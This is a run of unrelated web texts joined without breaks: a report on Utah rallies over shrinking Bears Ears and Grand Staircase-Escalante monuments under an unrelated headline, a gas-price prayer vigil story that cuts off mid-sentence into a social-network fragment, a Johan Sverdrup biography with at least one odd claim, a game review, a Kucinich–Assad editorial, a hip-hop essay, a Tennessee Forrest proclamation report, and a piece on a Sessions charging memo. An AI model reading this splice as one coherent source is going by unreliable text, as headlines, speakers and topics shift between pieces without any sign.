This article appeared in print with the headline "Ghosts and cloaks: Two bands of area veterans find wonderful new directions."SALT LAKE CITY — Thousands turned out to support public lands Saturday at a rally held in response to President Donald Trump's visit to Utah, during which he plans to announce a reduction to two national monuments in the state.
"I invite him to visit these lands before taking any action," said Ethel Branch, attorney general of the Navajo Nation. "I encourage him to take off his shoes and socks and feel the dirt with his toes, to reconnect and feel the heartbeat of Mother Earth."
The largely untouched land, she said, is sacred to many indigenous people, including five local tribes, and access to it and places like it are an important part of their worship and culture.
Bears Ears National Monument is the ancestral and spiritual home of the Hopi, Navajo, Ute, Ute Mountain Ute and Zuni tribes, all of whom "come together in peace on those lands," Branch said. "We have to have access to be able to interact with the earth in the right way."
Trump's decision to shrink and resize the monuments results from an April executive order calling for a review of 27 national monuments, including Bears Ears National Monument in southeastern Utah and Grand Staircase-Escalante National Monument in south central Utah.
"This is truly a monumental mistake," Rep. Patrice Arent, D-Salt Lake City, said during the well-attended rally at the state Capitol. "These national treasures are owned by all Americans and future generations. We will not let our sacred monuments be broken up and downsized."
Earlier in the day at a Unity Rally at the San Juan County Courthouse in Monticello, a smaller but enthusiastic crowd gathered to thank Trump and Secretary of the Interior Ryan Zinke for an expected announcement that the administration will significantly reduce the footprint of Bears Ears National Monument.
Standing in front of banner that read "Thank you for listening to local voices," San Juan County Commissioner Bruce Adams thanked the president for listening "to 15,000 people who live in San Juan County."
Trump's not your ordinary politician, he said.
"He cared about the people here in San Juan County, and he does care about them. We're grateful and thank him for what he's about to do," Adams said.
The commissioner recounted a conversation with a radio talk show host who asked him how the residents of San Juan County reacted to the news reports that the Trump administration plans to reduce Bears Ears by 85 percent.
"We feel like we've just won the national championship in basketball," Adams said.
He also shared a conversation he had with Zinke, who told Adams if the Trump administration succeeds in scaling back the size of the 1.35-million-acre national monument created by President Barak Obama nearly a year ago, Adams would owe him a beer.
"I said, 'You fix this in San Juan County, I'll get you a case.' So I guess I'm on the tap for a case of beer for Secretary Zinke. I'm just not sure what kind he likes. We'll find that out," Adams said, softly laughing.
There were multiple expressions of gratitude: signs held by people attending the rally, one of which said "SJC (San Juan County) voices matter."
Monticello resident Jackie Palmer said she is grateful to the president for hearing the concerns of local residents.
"We've waited for this day and I'm just so happy with Trump's decision and just listening to us," she said. "It means a lot to all of us that we're here and that we're heard."
About 250 people gathered at the San Juan County Courthouse in Monticello to show their support for the monument reductions. Some said they were grateful that President Trump decided to listen to rural voices. (Photo: Alex Cabrero, KSL TV)
During a prayer, San Juan County administrator Kelly Pehrson said, "Father, we're grateful for thy hand touching the president's and having him make the right decision for our county."
The thousands in Salt Lake City, including many in Native American regalia who traveled hours from their homes, couldn't be more opposed to the move.
"We need to stay positive," said Malcolm Lehi, a Ute Mountain Ute tribe member who lives 30 minutes outside of Bears Ears, near White Mesa. "It is important for our heritage and tradition."
He's been hunting elk and deer on the lands to prepare for the winter and said he couldn't survive without that permitted access when he needs it.
Salt Lake City Mayor Jackie Biskupski said she was impressed with the sea of people that filled the front lawn and steps of the Capitol. Many wore brown "Bears Ears" hats and T-shirts, and carried signs and banners that expressed discord with the current administration, but, more important, support for Utah's vast public lands.
"This is an assault of our values and everything we claim to be as Utahns," Biskupski said. "We will never stop fighting for what we believe is right."
Ten-year-old Robbie Bond, of Hawaii, founded Kids Speak for Parks when he heard that so many national monuments were under review by the president. He's traveled to at least 12 of them — reveling in Utah's "red rock canyons and juniper trees," and plans to educate his peers and encourage them to speak out about protecting public lands.
Bears Ears, he said, is unlike any other national park, as it "is focused on the Native Americans and their connection to the land."
"It is a place of healing for native people," Virgil Johnson, chairman of the Confederated Tribes of Goshute, said to cheers in the crowd. "The natives are stewards of this land. We all live in this land. We are all native Americans."
He said enough is enough, ending by leading the masses in chants of "Hell, no, we won't go."
The Salt Lake protesters carried a wide variety of signs, including many targeting the president, such as: "Hey Trump, you're making a monumental mistake," "Ax Trump — not monuments," "Keep your tiny hands off our public lands," "Who do you really work for?" and "Impeach Trump."
Others carried signs proclaiming "Utah Stands with Bears Ears," "Sacred places just like a temple," "Raising our hands to support public lands," "Save Grand Staircase-Escalante Monument" and "Protect Wild Utah" among many more.
Thousands of people gathered on the front steps of the Utah State Capitol to protest the proposed reductions to Bears Ears and Grand Staircase-Escalante national monuments ahead of President Donald Trump's visit to Utah on Monday. (Photo: Yvette Cruz, KSL.com)
Fourteen-thousand years of culture is preserved at Grand Staircase-Escalante National Monument, including that of the modern tribes and Mormon pioneers, said palentologist Krista Sadler. She said it contains an "unequaled fossil record," ancient ecosystems, and every species of plant that is found throughout the state.
"Even if this place were ugly, it still needs to be protected," she said, calling Trump's anticipated move "an enormous land grab" in an attempt to privatize land. "It took geologic time to form these lands, it will take geologic time to repair them once we lose these public lands. Nothing can bring them back."
Garfield County Commissioner Jerry Taylor said he was grateful that national leaders finally took their concerns seriously 21 years after then-President Bill Clinton created the Grand Staircase-Escalante National Monument.
"I don't know that you consider it a victory, but maybe it's a good time. … Now our voice has finally been heard, and hopefully, it will be good for Garfield County," he said.
The monument designation was a particularly challenging issue in Garfield County, which is 93 percent federally owned, Taylor said. "We've always just wanted a little help, needed a little help."
The land, Bond said, isn't owned by the people who live nearest to it, but rather by all Americans everywhere.
"We will fight this because the future is counting on us," Sadler said.
Branch said the tribes are prepared to launch a legal attack on Trump, citing a handful of violations on his part, should he revoke or modify national monument lands on Monday.
The group is also planning to rally Monday during Trump's Salt Lake visit. Information about that gathering can be obtained by texting "Utah" to 52886.
Contributing: Alex Cabrero
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Photos
Related StoriesPray-in at S.F. gas station asks God to lower prices Pray-in at Chevron station, hoping for a miracle
###Live Caption: Oakland pastor Kendall Guy, left, and Rocky Twyman say prayer for lower gas prices after filling Guy's fuel tank at a Chevron station in San Francisco, Calif., on Friday, April 25, 2008. Guy and Twyman are holding a prayer vigil for cheaper gas prices at Guy's Seventh Day Adventist church on Saturday. Photo by Paul Chinn / San Francisco Chronicle ###Caption History: Oakland pastor Kendall Guy, left, and Rocky Twyman say prayer for lower gas prices after filling Guy's fuel tank at a Chevron station in San Francisco, Calif., on Friday, April 25, 2008. Guy and Twyman are holding a prayer vigil for cheaper gas prices at Guy's Seventh Day Adventist church on Saturday. Photo by Paul Chinn / San Francisco Chronicle ###Notes: Kendall Guy, Rocky Twyman ###Special Instructions: MANDATORY CREDIT FOR PHOTOGRAPHER AND S.F. CHRONICLE/NO SALES - MAGS OUT less ###Live Caption:Oakland pastor Kendall Guy, left, and Rocky Twyman say prayer for lower gas prices after filling Guy's fuel tank at a Chevron station in San Francisco, Calif., on Friday, April 25, 2008. Guy and... more Photo: Paul Chinn Photo: Paul Chinn Image 1 of / 3 Caption Close Pray-in at S.F. gas station asks God to lower prices 1 / 3 Back to Gallery
Rocky Twyman has a radical solution for surging gasoline prices: prayer.
Twyman - a community organizer, church choir director and public relations consultant from the Washington, D.C., suburbs - staged a pray-in at a San Francisco Chevron station on Friday, asking God for cheaper gas. He did the same thing in the nation's Capitol on Wednesday, with volunteers from a soup kitchen joining in. Today he will lead members of an Oakland church in prayer.
Yes, it's come to that.
"God is the only one we can turn to at this point," said Twyman, 59. "Our leaders don't seem to be able to do anything about it. The prices keep soaring and soaring."
Gas prices have been driven relentlessly higher this year by the bull market for crude oil, gasoline's main ingredient. A gallon of regular now costs $3.89, on average, in California, while the national average has hit $3.58.
To solve the problem, Twyman isn't begging the Lord for any specific act of intervention. He is not asking God to make OPEC pump more oil. Nor is he praying for all the speculative investors to be purged from the New York Mercantile Exchange, where crude oil is traded.
Instead, he says anyone who wants to follow his example should keep it simple.
"God, deliver us from these high gas prices," Twyman said. "That's all they have to say."
Consumer advocates who have been howling about gasoline prices for months say they understand his frustration, even if they haven't tried his tactics.
"Given the complete inertia and silence of this White House on a crisis that has people feeling just hopeless, prayer is probably as good as anything," said Judy Dugan, research director with the nonprofit group Consumer Watchdog. "Frankly, I wish them luck."
Her organization has a list of proposals to help tame gas prices. Federal officials could stop adding oil for the nation's Strategic Petroleum Reserve and start selling some instead, for example. That would boost supplies in the market and drive down the price. Officials also could tighten oversight of crude oil trading.
"This is government's job - it shouldn't be God's job - but government is in gridlock or ignoring it," Dugan said.
Some of Consumer Watchdog's ideas may finally be gaining support. House Speaker Nancy Pelosi, D-San Francisco, on Thursday asked President Bush to stop filling the strategic oil reserve. And on Friday, she called on the Federal Trade Commission to investigate whether the oil market is being manipulated.
Twyman, 59, has a history of taking on interesting causes, some whimsical, some deadly serious. Three years ago, he led a petition drive to have Oprah Winfrey nominated for the Nobel Peace Prize. It didn't work, obviously, but he says he had a great time with it.
His real passion, however, has been persuading African Americans to become bone marrow donors. A friend of his who had just adopted a child died from leukemia in 1995 without ever finding a donor, and Twyman threw himself into the cause.
For years, racial and ethnic minorities have been underrepresented on the national donor registry, a problem because people in need of a transplant have a greater chance of finding a match with donors of the same race or ethnic group. Twyman estimates that his bone marrow drives, many of them organized through churches, have netted 14,000 potential donors. The drives also brought him an Above & Beyond award from the Congressional Medal of Honor Society.
Twyman knows his approach to gasoline prices may sound simplistic. He's quick to point out that anyone praying for cheaper fuel also has an obligation to do something |
one click or host my own social network! Or say I move to Google Plus, but my Facebook page is still active and would point to my Google+ now. Like with OpenID I need a provider which keeps my information and verify’s me.
What do you think? Do you think we could ever have a truly open social network?This article is about the Norwegian politician. For the oil field named after him, see Johan Sverdrup oil field
Johan Sverdrup (30 July 1816 – 17 February 1892) was a Norwegian politician from the Liberal Party. He was the first Prime Minister of Norway after the introduction of parliamentarism. Sverdrup was Prime Minister from 1884 to 1889.[1]
Early years [ edit ]
He was born at Sem in Vestfold, Norway. He was the son of Jacob Liv Borch Sverdrup (1775-1841) and Gundelle Birgitte Siang (1780-1820). His father was a pioneer in scientific agriculture in Norway. He finished his law studies in 1841. He worked as a lawyer in Larvik, a small town on the west coast of the Oslofjord. In 1851 he was for the first time elected to the Storting, and from then until his appointment as Prime Minister in 1884, he was one of the leaders of parliament. In Norway, political parties were considered inappropriate and unwanted. Sverdrup tried from his earliest days in the Storting to form a radical party consisting of the large group of peasants and the radical elements among the representatives from the cities. His first attempt was named the "lawyers' party" after the profession of the leaders of the group. It soon became evident that the times were not ripe for such a radical novelty, and for the next years Sverdrup knit a loose alliance with the peasant leader, Ole Gabriel Ueland (1799-1870). [2] [3]
Sverdrup's ministry
Forming the alliance [ edit ]
In 1870 Ueland died, and the loose leadership of the alliance of peasants went over to Søren Jaabæk (1814-1894), an economically extremely conservative politician, whose views hardly exceeded the most primitive cutting of every part of the budget, even if the money in question would be used to the furthering of democracy and education, two of his most important topics. Such a negative policy-making (Jaabæk's name was changed by the Ministerial adherents and press to Neibæk after the Norwegian word Nei, which means no contrasting with Ja means yes) will never produce great results, which Sverdrup clearly foresaw. He didn't hesitate to acknowledge Jaabæk as the formal leader and organizer of this budding party, which can be named the peasant friends after the organization and magazine that Jaabæk managed to spread throughout most of the country. But in parliament Jaabæk would often bow to Sverdrup's more advanced political strategies, when they were not too expensive. [4]
In 1869 a political reform of the greatest importance was introduced, yearly parliamentary sessions instead of the earlier tri-annual sessions. This definitely tipped the scale of political influence in favor of the Storting, and it is not easy to see the reasons for the King's acceptance of this reform. The major reason was probably the growing necessity to get updated budgets, which was naturally the Storting's task to provide.
During the 60s, the views towards the ministers' participation in the parliamentary sessions had changed totally. The ministerials, as they were called, were now univocally against, because they had seen the formation of the peasants' friends as a threat to what they deemed to be the ideal, the totally independent representative. The peasants and the radicals on the other hand, had drawn the obviously correct conclusion that this reform would further the influence of the elected towards the appointed ministers.
The Storting in 1870 passed a change in the constitution which granted the ministers admission to Parliament when asked, but the King refused to sanction the law, stating that it was premature so few years after the yearly-sessions-reform. In 1872 the new king, Oscar II, decided that Norway, in its precarious situation with the Council mostly convening in the capital, Christiania (now Oslo), while the king mostly lived in Sweden's capital Stockholm needed two Prime Ministers, one in each capital. Until then there had only been one in Stockholm, because the Council in Christiania was supposed to be led by an appointed governor, a position which had been vacant for 15 years because no Swedish king had dared or wished to appoint a new governor.
This made an extremely minor change in the suggested change in the constitution, when it was passed in 1873, necessary, namely that there were now two Prime Ministers, while there was only one in the previous law text. The changed constitution was not sanctioned this time either. The same happened in 1876 and 1879, and now a major problem had occurred, which made Norwegian politics extremely difficult for several years. The Constitution explicitly stated that the king had a veto three times in law and budget matters, but there was no mention of any kind of veto concerning constitutional matters.
This omission gave way to three possibilities:
The king had no veto at all The king had an absolute veto The king had the same veto rights as in all other matters
The opposition which made up a vast majority, had practically rejected the first possibility and decided upon the third, whereas the Council and the minority of the Storting was certain of the king's absolute veto.
The strife hardens [ edit ]
The strife which had started as a practical political reform had now turned into a political debacle which would have to change the checks and balances between the legislative and the executive branch. This had definitely become Sverdrup's goal. "All power must be gathered in the halls of the Storting" became his political program. In 1879 his party in the making made a coup by promulgating the new change in the constitution. This took the Council by surprise that the grand old man of the Council, Prime Minister Frederik Stang, resigned. The new Prime Minister, Christian Selmer, was not such a leader and force in the Council, and Sverdrup was ready for the next move, which should constitutionally have been taken in 1881. But Sverdrup's majority was not great enough to be certain of a victory in the forthcoming impeachment of the Council. [5] [6]
In the 1882 general elections Sverdrup's party won a convincing majority. They were able to fill the 25% of the Storting who were, together with the Supreme Court, the judges of the court, with only members of the leftist party in formation. Venstre (from the Norwegian word for left) was Sverdrup's and Jaabæk's liberal and radical party but definitely a party with no socialist affiliations. [7] Høyre (from Norwegian word for right) was the Council's and the minority party which was considered to be conservative. [8]
Engraving by H. P. Hansen
Sverdrup's wife, Caroline
In the fall 1883 the judges convened, and the trials took several months and resulted in loss of position without honor for most of the ministers and huge fines. The king appointed a new Council led by Christian Schweigaard, but was a rather lame move, since Sverdrup immediately threatened with a new impeachment trial. The new Council was named the April Ministry, which says something about how long the king's struggle to find a solution to the total crisis that had occurred, which he could deem acceptable. [9]
It turned out there was no other choice than to appoint Johan Sverdrup as Prime Minister. In Norwegian tradition the transition from Montesquieu's ideal of checks and balances to a parliamentary system took place when he became Prime Minister. There is evidence that Sverdrup himself never really understood the consequences of a parliamentary system. Hence his five years in power with a vast majority in support, was no triumph march, but a row of defeats in Parliament. It is not far from a personal tragedy, and his resignation in 1889 was the only possible finale to a rather unworthy drama that took place within the Venstre.
Sverdrup's government [ edit ]
It turned out from the first day that Sverdrup as a Prime Minister was not the competent strategist that most Norwegians had either learned to fear or admire. He expected his adherents to follow him as they had done for almost 30 years. It also turns out that Venstre was a more loosely knit coalition than Sverdrup and the other leaders had expected. The fight against the powerful executive branch had created alliances that broke very quickly afterwards. Sverdrup and all his ministers belonged to the conservative faction of the party. They had strong support what the leading Norwegian sociologist, Stein Rokkan, labeled the periphery, adherents of lay Christianity in opposition to the clergy, adherents of the so-called New Norwegian in opposition to the Norwegian spoken in the cities, adherents of totalitarianism.
His great mistake was to refuse to include anyone from the radical faction and to further alienate them by not accepting their advice in any of the difficult political situations that arose in those years. In the 1885 general election the party's slogan was "Have confidence in Johan Sverdrup" which later has been deemed one of the most ridiculous slogans ever created. A party without ability to find anything to unite about will have no long life, and the breach in the party became evident throughout the three years before the next general elections.
Sverdrup and his colleagues and diminishing group in the Storting were more or less expelled from the party and had to start their own Venstre. The original party, now led by Sverdrup's leading opponents, Ullmann and Steen, voted against him and mocked the elder statesman for clinging to the "Chair", but he was saved by Høyre which had no intentions to diminish the strife within the Venstre, and believed that their best hope was to leave the Sverdrup ministry in peace until the general elections in 1888. After those elections, which proved fully that Høyre strategy had been a sound one, Sverdrup's Ministry was quickly ousted.
Father of Parlamentarism [ edit ]
The views towards this controversial political leader will differ greatly with the political and historical affiliation of those expressing a view. It can not be denied that Sverdrup was an extremely skilled and able opposition leader and strategist whose influence of domestic politics was enormous for about 30 years. What can be said against such a viewpoint, is that most of the results of his opposition was destructive because he sold his radical and social liberal political views in order to gain influence in Jaabæk's loosely knit alliance of peasants. On the other hand one tends to forget that there was a class struggle between the peasants and the public servant and tradesmen classes, which in Norway with no nobility, were the most influential, and that Sverdrup, a public servant, joined the vast and less influential group of peasants in order to transform the society.
His weakness was his inability to bury hatchets and his apparent lack of flexibility in older age. His inability to understand the concept of parliamentarism, which seemed to be the ultimate goal of his policies. His clinging to the symbols of power can be ascribed to his age, but he was only about 70. Most historians would conclude that his fight against the king's appointed Council lasted too long. He was too old to harvest the fruits, but he paved the way for a new political situation in Norway.
References [ edit ]Old-School Survival Horror Gets Rightfully Parodied in Prototype Mansion
Recent horror titles have strayed away from their survival horror roots. Ditching tank controls, limited saves, and fixed camera angles in favour of a more fluid, player-friendly experience. Developer Jupiter Lighthouses’ recent title, Prototype Mansion, aims to take us back to the glory days of survival horror, while also poking fun at it.
Prototype Mansions pays homage to PlayStation One era survival horror games such as Resident Evil and Silent Hill. This means that the backstory of the game is a little silly. Apparently, a bloke named Frank stumbled across the game, which was dumped in a dirty bin and now, Jupiter Lighthouse is sharing it with the world. Players will take control of the seriously named, Detective Lady Detective as she investigates a spooky mansion. But, since this is a survival horror game, there are zombies wandering about waiting for their next meal.
If you have ever played an old-school survival horror game, you know what to expect in terms of gameplay. You battle with tank controls while solving puzzles and avoiding zombies. The game also features 32-bit low-poly visuals. Everything looks spectacularly awful and very nostalgic. What makes this game different from its peers is that it doesn’t take itself seriously. You can expect the game to have some humour while also making fun of the genre it is emulating. It’s always fun to make fun of the things we like.
If you want to take a self-aware trip down memory lane, you can grab Prototype Mansion for as little as US $1.99 from the developer’s itch.io page.
[Source]DENNIS KUCINICH claims he was misquoted. And perhaps it’s true: Maybe the Democratic representative didn’t exactly say, as the official Syrian news agency reported, that “President Bashar al-Assad cares so much about what is taking place in Syria... and everybody who meets him can be certain of this.” It could be that another quotation attributed to him, that “President al-Assad is highly loved and appreciated by the Syrians,” was a “mistranslation,” or a reflection of “the degree of appreciation and affection [the] state-sponsored media has” for the president, as a statement from Mr. Kucinich’s office delicately put it.
This much, however, appears to be uncontested: Mr. Kucinich, who has fiercely opposed the U.S. intervention against Libyan strongman Moammar Gaddafi, traveled to Damascus over the weekend to huddle with Syria’s dictator, who is desperately seeking to avoid being isolated and labeled illegitimate by the outside world. Thanks to the slaughter by his security forces of at least 1,400 people — the vast majority of them unarmed civilians — Mr. Assad has few friends these days: The European Union and United States have sanctioned him personally, and even his regime’s most faithful allies are close to abandoning him. On Tuesday, for example, a senior Russian diplomat met with leaders of the Syrian opposition, then declared that “Russia has only one friend — the Syrian people.”
But Mr. Assad still has a friend: Mr. Kucinich. The Cleveland lawmaker chose not just to meet with the ruler but also to hold a “press conference. ” Though he might not have heaped praise on Mr. Assad, Mr. Kucinich did endorse the regime’s latest propaganda strategy, which is to claim that it intends to engage opponents in a “dialogue” and then carry out reforms. “I have found a strong desire to make a substantial change,” the Xinhua news agency quoted Mr. Kucinich as saying. “People want President Bashar al-Assad to carry out reforms.” If the Chinese agency is also misrepresenting the congressman, his office hasn’t said so.
In fact, the hundreds of thousands of Syrians who have risked their lives to take to the streets since March are not seeking reforms from Mr. Assad — they are demanding the end of his regime. The idea that, having slaughtered so many of his people, Mr. Assad would agree to a political transition that would allow Syrians to vote for or against his ruling party — which is dominated by a minority ethnic group — is absurd. That’s why the only people who take the regime’s rhetoric seriously are those who wish to defend it, who excuse its horrendous crimes and who oppose genuine democracy in Syria. Mr. Kucinich has just made himself one of the more conspicuous members of that camp.If you listen to a lot of hip-hop, your ears perk up whenever a rapper refers to an older act or quotes one of its lines. How casual is the reference? Is it a nod to an era, or more about influence, simple wordplay, a local connection, or something else?
Responses to forebears can be heard all over the notable releases of the last few years. Earl Sweatshirt recalls “mobbing deep as ’96 Havoc and Prodigy did,” while J. Cole takes a moment to vent spleen at “the O.G. gatekeep rappers, the would-you-take-a-break-please’ rappers.’ ” On the underrated mixtape “Lil Me,” Wiki declares roots in “New York when Wu-Tang was rising,” in part meaning not that he came of age in 1993 but that he was born then. Another person to first see daylight that year was Chancelor Bennett, or Chance the Rapper. “Oh, generation above me, I know you still remember me,” Chance says with clever inversion in “Acid Rap,” from 2013. Hip-hop may be increasingly amorphous and inseparable from pop, yet these cross-generational telegrams imply an additional truth: lyrics are back.
Not that lyrics-forward hip-hop fully went away. After the heavyweights of the eighties and nineties, it lived on, thanks to MF Doom, Clipse, Elzhi, Jean Grae, E-40, Little Brother, and members of the Boot Camp Clik and the Living Legends—everyone will have their opinions. A few heroes from an older guard, like Masta Ace and Ghostface Killah, overturned genre laws and got even better. But, at the same time, solid lyrical releases could feel thin on the ground, or at least they could for the rewinding fans who prize layers, precise phrasing, and detail—the sort of listener who travels mentally through a track at odd moments, stopping to puzzle out a story or just ask, Is that “Wu’s whole platoon is filled with raccoons,” or “_your _whole platoon”? Maybe some collective deflation was to be expected, though, considering what happened to Tupac (1996), Biggie Smalls (1997), Big L (1999), Big Pun (2000), and, while not a rhymer, per se, Aaliyah (2001). After the jiggy era ushered in a lyrically boring period of excess, attention in hip-hop moved to the South, where discoveries were often more sonic than lyrical; to Kanye; and to intoxicating anthems about this or that, hopefully featuring Ashanti.
Whether you agree with the brief characterization above or not, there are points that strongly separate today’s young m.c.s from those maturing in other eras. Rappers under thirty today grew up with the Internet in place—with all that free music across genres, mixes, videos, lyrics sites, podcasts, and history. Gone are the days of shameless store freeloading to hear mere snatches of new CDs. More rap exists now than anyone has the time or desire to ingest. The way people come up, too, has been transformed, with labels looking to artists for trends more than the other way around, and radio unseated as a central arbiter of taste. Then there’s the cultural capital of hip-hop, whose enormity can disguise how recently it was accrued. When m.c.s help campaign for Presidential races and a single tour (in this case, Drake and Future’s) can net eighty-four million dollars, it’s easy to forget the freedom-of-speech trials and corporate wariness that marked the genre during the first half of the nineties.
In prior decades, rappers usually laid down two or three verses on a solo cut—if three strong ones, all the more proof of lyrical chops. Beyond the quality of those verses as delivered and the nature of his voice, an m.c.’s thoroughness on the mike was expressed in other areas—in the style and spirit he brought to collaborations, for example, to random banter and patterned shout-outs to other neighborhoods, rappers, and cities. I’m thinking of Phife Dawg on Tribe’s “God Lives Through” (1993), where a mid-verse toast mostly consists of a train of letters but puts them to a surprising, percussive use—“I dedicate this to all the m.c.s. out of Queens / That goes for Onyx, L.L., Run-D.M.C. / Akinyele, Nasty Nas, and the Extra P.” Or then there’s the outro to “ ’93 ’til Infinity,” by Oakland’s Souls of Mischief, where cohorts are all checked off one by one as “chillin’ ”—a tiny and loose part of the track, by appearance fairly spontaneous, yet the classic wouldn’t have the same life without it.
Today, the old verse-format assumptions have largely gone out the window, and the role of the m.c. not infrequently involves rapping and singing in some kind of combination. Tastes differ about the latter, and the practice used to be eyebrow-raising for most everyone, except Biz Markie and Ol’ Dirty Bastard, but it’s a natural area of exploration. Related to this new fluency, now, even when someone only raps alongside a singer, the two often interact more than they would have in the two-dimensional, hook-led templates of old. What else? Questlove, in his memoir, has noted the waning of settled duos and groups and the proliferation of solo voices. One-off or periodic unions abound, yet whether these can ever equal the dynamics (to say nothing of the lost amazing act names) of sustained and evolving partnerships in rhyme is an open question. Whatever the case may be, and in keeping with popular music as a whole, collaborations now run in every direction possible—Wiki’s include the grime artist Skepta and the experimental singer Micachu. Whether it is R. & B.’s current vitality rubbing off on hip-hop or the other way around, the two genres have seldom appeared so meshed with each other.
The shifts in rapped “content” can be harder to make sense of in real time. While expressive, rap is also aslant—a genre full of voices that move in and out of persona, to and away from known conventions; where braggadocio gets deployed as an outlet for verbal play, humor, distinctions of temperament, and the like. Is “On the contrilly / I packs the mack-milli” a phrase for a corner-bound drug dealer, or a deranged Dr. Seuss? Still, at this point in hip-hop’s development, it’s evident how roundly the genre has been shaped as a subculture, by its birth in Bronx rubble and evolution through the years of crack. With time, those contexts have grown clearer, oddly strengthening the echoes of work music and the blues. Think of Wu-Tang’s “C.R.E.A.M.,” or “Cash Rules Everything Around Me,” ostensibly a love letter to hustling that really turns on bleak experiences of youth and adolescence. “It’s been twenty-two long, hard years, I’m still struggling,” Inspectah Deck opened the second verse to the 1993 song, “survival got me buggin’.” Once a listener became familiar with the verse, she or he was likely to pause and reflect on the unusual gravity: just twenty-two.
Hearing the new breed, what stands out first is the general climate of positivity. Positive hip-hop, or “conscious,” or “socially engaged,” or whatever you want to call it, has had its moments before, but you’d likely have to return to Public Enemy days before finding an act with an impact like that of Kendrick Lamar. (Lamar’s “Alright” last year served as a natural and usefully upbeat song for the Black Lives Matter movement, among a plethora of other honors.) Whereas Public Enemy had different members and sensibilities to help the messages slide down better, Lamar is aided by his warmly dynamic persona and versatility with moods and styles—one almost wants to say voices, given that certain songs are near to soliloquy in concept, and can feature anything from despairing growls to a computer-like whisper. And then there’s Chance, likewise an earthbound star whose optimism seems sourced from some other decade, be it of the future or an alternate world. The Chicagoan must be the first m.c. to conceive of a boast like “Wondrous, unfamiliar lessons from childhood / make you remember how to smile good,” or to bring up a late, cherished family pet in a rap, or to resurrect a sweet childhood romance played out in a roller-skating rink.
The rapturous commentary around “Coloring Book” has made much of Chance’s new fatherhood, as well as religion, especially with respect to its lyrics and church aesthetics. But a number of the tracks are more edged than a listen or two might lead you to believe. Chicago’s gun violence figures into the weave of “Summer Friends,” as has been well noted, but the lyrics seem equally about childhood, and the mysterious line separating that world from the present, when Chance “never let a friendship get in my way.” “Smoke Break,” for its part, is in the spirit of “Sexual Healing,” yet it also makes for a snapshot of young love besieged by busyness—“I’m always throwin’ on clothes / She always throwin’ a fit / We don’t got no time for no sex.” “Acid Rap,” a younger man’s careening carpet ride fuelled by pills, sex, and confusion, also bore an unmistakable cleverness and good will. (“Balancing on sporadicity and fucking pure joy”—another sentiment hard to imagine in the hip-hop of another decade.) It’s still early for Chance, but so far he’s been consistent in blurring the space between joys and thrills, in partnering happy innocence with a wily irony and sense of mischief.
It’s tempting to attribute hip-hop’s recent surge of lyrical energy to America’s worrisome state. Yet the problems of racism, poverty, and police shootings have never exactly been absent in the genre’s lifetime. The clearing and regenerating power of youth is a more likely shaping force, I suspect—or that, plus a whole new warming set of conditions: hip-hop’s strong cultural position now; older m.c.s staying in the game; the greater blending of hip-hop activism with the music itself; and an industry model that, for all that’s unstable and absurdly unfair about it, at least allows for the making of music less mediated by industry appetites and preconceptions. Late in “Summer Friends,” Chance says that he can “make the whole song do whatever I say.” It’s a fun boast, partly because it sounds like he can—when Chance is at his best, few rappers think and swerve so fast on their feet—and partly because he conveys the exhilaration. It’s the same with the new wave of lyricists: you can taste their air of open possibility, both for themselves and for where the music might go.MEMPHIS -- The state of Tennessee will celebrate the birthday of Confederate army general and early Ku Klux Klan leader Nathan Bedford Forrest, despite the nationwide debate over use of the rebel flag and symbols of the Confederacy.
Last month, Gov. Bill Haslam signed a proclamation to honor Forrest on Monday, July 13. The governor's office told CBS News affiliate WREG that the proclamation was signed as per statute.
The state appears divided over the issue, as the city of Memphis voted recently to exhume the remains of Forrest and his wife in order to remove them from a city park.
Forrest was a plantation owner and slave trader, and a lieutenant general in the Confederate army during the Civil War. Some accounts accuse him of ordering the 1864 massacre of black Union troops at Fort Pillow, Tenn. The newly formed Klan elected Forrest as its honorary Grand Wizard in 1867, though he denied involvement.
Forrest has had a day of observance in Tennessee for decades, but for that to change new legislation would be needed. State Sen. Lee Harris, who was instrumental in getting Confederate names removed from several Memphis parks, wants Haslam to make that happen.
"The Tennessee constitution gives the governed executive authority which means he has discretion about which he signs or doesn't sign," said Harris. "If he really thinks it takes legislative action, he knows the process. He can file legislation tomorrow."
The Governors office has not responded to WREG's questions on whether Haslam had any plans to try and overturn the statute.
Since the massacre of nine worshipers at a Charleston, S.C., church, by a man who was seen espousing the Confederate flag, many local and state governments have made efforts to remove Confederate symbolism from public areas. The most notable was the removal of the flag from the South Carolina capitol last week, where it had been flying for 54 years, initially put up as a symbol of the state's objection to the Civil Rights Movement.
Last week, the Memphis city council voted unanimously to move the remains of Forrest and his wife from their graves in a Memphis park. However, it may be months before that process meets final approval, which it needs from several entities.Federal prosecutors sent a letter last week to defense attorneys in Jacksonville, Tampa and Orlando telling them they have two weeks to finalize plea deals or risk sending their clients to prison for much, much longer.
The acting United States Attorney for the Middle District of Florida told defense attorneys he was complying with a new memo from Attorney General Jeff Sessions. The Justice Department revoked previous policies that allowed prosecutors to show lenience. Instead, a "new policy requires that prosecutors charge and pursue the most serious, readily provable offense(s), which are those offenses that carry the most substantial guidelines sentence, including mandatory minimum sentences."
This could drastically increase how long inmates spend in prison. Under these guidelines, a prosecutor may be required to seek a life sentence for a repeat drug offender, to take one example, who was carrying even the smallest amount of marijuana.
Acting United States Attorney Stephen Muldrow wrote defense attorneys have until May 31 to file plea deals before the new guidelines take effect.
The U.S. Attorney’s Office spokesman said, "We do not wish to comment on the memorandum."
Federal Public Defender Donna L. Elm said her staff is rushing to process plea agreements before the deadline, but she’s grateful for at least two weeks. "I wish we had a little more time, but at least we have time to go to our clients to go back and say the ante may be upped."
The Middle District of Florida covers Jacksonville, Tampa and Orlando; about 12 million people live in the district.
‘SO UNNECESSARY AND SO HARMFUL’
Charles Truncale, a 23-year federal prosecutor who spent six years as chief prosecutor, blasted the new charging memo as "so unnecessary and so harmful. I see no good purpose for it. None at all. Let the prosecutors make their own decisions."
The new memo requires prosecutors seek whatever charges would lead to the most years in prison. Sessions’ memo does allow prosecutors to seek permission on specific cases to not follow the policy if they get permission from supervisors.
Truncale, now a defense attorney, gave an example of a client who was twice convicted of intending to sell marijuana. "I had to explain to him that should he ever, ever, ever possess even half an ounce of pot in the future, he will go to jail for life if the prosecutor is required to process an 851 information." That is the sentencing enhancement that can be used to sentence someone with two prior drug convictions to life in prison.
Elm added that there are "hundreds of ways in the guidelines and the statutes you can increase sentencing."
Those types of life sentences were once common in federal courts. In former President Barack Obama’s final months, he commuted hundreds of federal inmates’ sentences, many of them life sentences for non-violent drug offenses.
